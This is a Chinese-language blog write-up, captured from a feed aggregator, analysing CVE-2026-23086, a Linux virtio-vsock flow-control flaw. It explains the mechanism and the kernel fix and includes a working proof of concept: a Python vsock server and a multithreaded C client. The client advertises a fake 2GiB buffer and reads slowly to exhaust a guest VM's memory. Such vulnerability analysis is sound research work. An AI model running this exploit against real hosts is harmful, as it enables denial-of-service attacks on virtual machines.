惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Hacker News: Ask HN
Hacker News: Ask HN
WordPress大学
WordPress大学
GbyAI
GbyAI
T
Tailwind CSS Blog
Know Your Adversary
Know Your Adversary
小众软件
小众软件
Security Latest
Security Latest
博客园 - 聂微东
P
Privacy International News Feed
L
Lohrmann on Cybersecurity
爱范儿
爱范儿
云风的 BLOG
云风的 BLOG
阮一峰的网络日志
阮一峰的网络日志
C
Cyber Attacks, Cyber Crime and Cyber Security
博客园 - 叶小钗
Last Week in AI
Last Week in AI
The Register - Security
The Register - Security
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
V
Vulnerabilities – Threatpost
Jina AI
Jina AI
AWS News Blog
AWS News Blog
L
LINUX DO - 热门话题
D
Darknet – Hacking Tools, Hacker News & Cyber Security
NISL@THU
NISL@THU
Spread Privacy
Spread Privacy
Google DeepMind News
Google DeepMind News
P
Palo Alto Networks Blog
S
Schneier on Security
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
T
The Exploit Database - CXSecurity.com
月光博客
月光博客
C
CERT Recently Published Vulnerability Notes
G
GRAHAM CLULEY
N
Netflix TechBlog - Medium
量子位
K
Kaspersky official blog
T
Threatpost
Latest news
Latest news
The Cloudflare Blog
MyScale Blog
MyScale Blog
C
Cisco Blogs
T
Tor Project blog
S
Securelist
Cisco Talos Blog
Cisco Talos Blog
The GitHub Blog
The GitHub Blog
A
Arctic Wolf
T
Threat Research - Cisco Blogs
H
Help Net Security
C
CXSECURITY Database RSS Feed - CXSecurity.com

空鸣深语

《Arcaea》双星纪念 KDE Plasma自动设置时区 OCI运行时:容器创建流程 CVE-2024-21626浅析 CVE-2022-0847浅析 CVE-2019-5736浅析 寓言:糊房子 有了工位之后:重新运转的日常 「瞬间」交织「记忆」:横滨站观后与圣地巡礼 我的音游心路历程 修正TUN下NetworkManager的网络状态 从「分歧路口」到「前途漫漫」:上海站观后 《少女乐队的呐喊》短评 恢复小爱课程表的「教务导入」 北航软件工程小记:用Rust开发「风行旅途」 写作即取舍:我的文字与版面 读书:《进化心理学:心理的新科学》 root仍在路上,现实却愈发收紧 浅谈选择困难症——以点外卖为例 必应索引失而复得小记 告别常驻进程:如何让微信使用FCM推送 《你想活出怎样的人生》影评——在留白中遨游 窥探镜中的自己:阿斯伯格综合征的诊断轨迹 首次踏入live house:躁动氛围与孤独心声 远程设置引发的Firefox Android搜索引擎缺失问题排查与恢复
CVE-2026-23086浅析
深鸣 · 2026-07-13 · via 空鸣深语

背景

全虚拟化中,宿主机需要通过软件「模拟」真实的物理硬件。当虚拟机执行特权指令时(例如,读写硬件的寄存器),Hypervisor便需要中断处理。这需要特权切换,因此性能开销较大。而通过半虚拟化技术,虚拟机能够向虚拟机管理程序表明其意图,从而提升性能。

VirtIO定义了设备驱动和硬件(包括虚拟硬件和物理硬件)之间的通信标准,主要用于半虚拟化环境。其允许虚拟机通过VirtIO设备来使用宿主机的物理设备,VirtIO设备本身主要负责数据传输。VirtIO架构主要分为三个部分:前端驱动程序、后端设备、VirtQueue及VRing。三者的关系如下图所示(参考了该图片):

virtio-vsock是VirtIO家族中用于socket通信的设备类型,定义了AF_VSOCK地址族,用于宿主机与虚拟机之间的通信。virtio-vsock在传输层之上引入了一套credit流控机制,核心流程如下:

1
2
3
4
5
6
用户send(fd, buf, N)
→ virtio_transport_stream_enqueue // socket层的send_msg回调
→ virtio_transport_send_pkt_info // 统一发送入口
→ virtio_transport_get_credit(credit = N)
ret = min_t(u32, N, virtio_transport_has_space(vvs))
→ 按ret分配sk_buff,放入VirtQueue

攻击流程

get_credit的返回值retmin(用户想发的字节数, 对端剩余缓冲区空间),而剩余空间由virtio_transport_has_space计算:

1
bytes = (s64)vvs->peer_buf_alloc - (vvs->tx_cnt - vvs->peer_fwd_cnt);

这里tx_cnt是本端累计已发字节数(每次send()累加),peer_fwd_cnt是对端累计已消费字节数,peer_buf_alloc是对端通告的缓冲区大小。

攻击的关键在于peer_buf_alloc由对端控制,本地并无校验或额外限制。攻击者可先将缓冲区大小上限SO_VM_SOCKETS_BUFFER_MAX_SIZE提高到足够大的值,然后将缓冲区大小SO_VM_SOCKETS_BUFFER_SIZE设为较大的值(如2GiB),该值将通过数据包携带给对端,更新其peer_buf_alloc。攻击者随后向受害者发起连接并发送请求,受害者服务响应该请求时,会调用send()回传数据。此时send_pkt_info内部的do-while循环将pkt_len(即实际发送的字节数)全部切分为sk_buff并放入VirtQueue

在此基础上,攻击者可以缓慢调用recv(),导致受害者的peer_fwd_cnt增长极慢,而tx_cnt随着每次回传数据持续累积。由于peer_buf_alloc被谎报为较大的值,并且send()要等到未确认数据到达对应阈值才会阻塞;因此若对端需要发送大量数据(如文件传输等场景),则单条连接可能存在接近SO_VM_SOCKETS_BUFFER_SIZE值的sk_buff滞留内存。攻击者同时维持多条此类连接,即可耗尽系统的内存资源。

复现

根据上述原理,我编写了PoC,复现了相关效果。其中,受害方运行一个Python脚本,监听相应端口(示例中为1122),若有请求则会不断发送数据;攻击方运行一个C语言程序,其向受害方请求连接,伪造了peer_buf_alloc,并缓慢接收数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket
import threading
import time

PORT = 1122
VMADDR_CID_ANY = 0xFFFFFFFF

def tomori_singing_thread(conn, addr):
print(f"[+] (Tomori): Someone is here from CID:{addr[0]}... I will sing my heart out...")

heavy_feelings = b"Tomori's heavy feelings... " * 40000

try:
while True:
conn.sendall(heavy_feelings)
except Exception as e:
print(f"[-] (Tomori): Ah... the connection dropped. {e}")

def main():
s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.bind((VMADDR_CID_ANY, PORT))
s.listen(128)

print(f"[*] RiNG studio is open. Listening on VSOCK port {PORT}...")
print("[*] Waiting for audience...\n")

while True:
conn, addr = s.accept()
threading.Thread(target=tomori_singing_thread, args=(conn, addr), daemon=True).start()

if __name__ == "__main__":
main()

下列程序中,TARGET_CID为VSOCK的ID,若使用Incus,可通过incus config get <vm_name> vsock.id获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <linux/vm_sockets.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>

#define MAX_CONNS 16
#define TARGET_PORT 1122
#define TARGET_CID 772857255

typedef struct
{
int id;
} thread_data_t;

static void *band_member_thread(void *arg)
{
thread_data_t *data = (thread_data_t *)arg;
int fd = socket(AF_VSOCK, SOCK_STREAM, 0);
if (fd < 0)
{
return NULL;
}

unsigned long long huge_buf = 2ULL * 1024 * 1024 * 1024;
setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &huge_buf, sizeof(huge_buf));
setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &huge_buf, sizeof(huge_buf));

struct sockaddr_vm sa = {
.svm_family = AF_VSOCK,
.svm_cid = TARGET_CID,
.svm_port = TARGET_PORT,
};

if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0)
{
printf("[+] Thread %02d (Anon): \"Yeah, I'm totally listening! I have 2GiB of space!\"\n", data->id);

char matcha_bite;
while (1)
{
read(fd, &matcha_bite, 1);
usleep(1000);
}
}
else
{
printf("[-] Thread %02d (Taki): \"Why isn't she connecting?!\"\n", data->id);
}
return NULL;
}

int main()
{
pthread_t threads[MAX_CONNS];
thread_data_t thread_data[MAX_CONNS];

printf("[*] Assembling at the studio (Launching %d connections to CID: %d)...\n\n", MAX_CONNS, TARGET_CID);

for (int i = 0; i < MAX_CONNS; i++)
{
thread_data[i].id = i;
pthread_create(&threads[i], NULL, band_member_thread, &thread_data[i]);
usleep(100000);
}

printf("\n[!] All members are present. The fake connections are established.\n");
printf("[!] Tomori is pouring her heart out, but no one is truly receiving it.\n");
printf("[*] Soyo (Smiling): \"Everything is fine...\" \n");
printf(" (While the Guest VM's Slab memory is silently suffocating)\n\n");

printf("[*] Waiting for the heavy atmosphere to crush the Guest VM...\n");

for (int i = 0; i < MAX_CONNS; i++)
{
pthread_join(threads[i], NULL);
}

return 0;
}

我将宿主机作为攻击方,虚拟机作为受害方。虚拟机中运行Ubuntu 22.04,内核版本为5.15.0-185-generic。根据官方公告,该内核版本受影响。

运行过程中使用watch -n 0.5 'grep -E "Slab|MemAvailable" /proc/meminfo'监视虚拟机的内存占用情况。可以发现,虚拟机中内存使用量持续上升,并且无法继续建立VSOCK连接,最终导致Incus的shell退出。

运行结果

修复与后续

Linux内核于该commit中修复了该问题。其引入了virtio_transport_tx_buf_size函数,将额度限制为peer_buf_allocbuf_alloc的较小值,而buf_alloc为本端的缓冲区大小上限。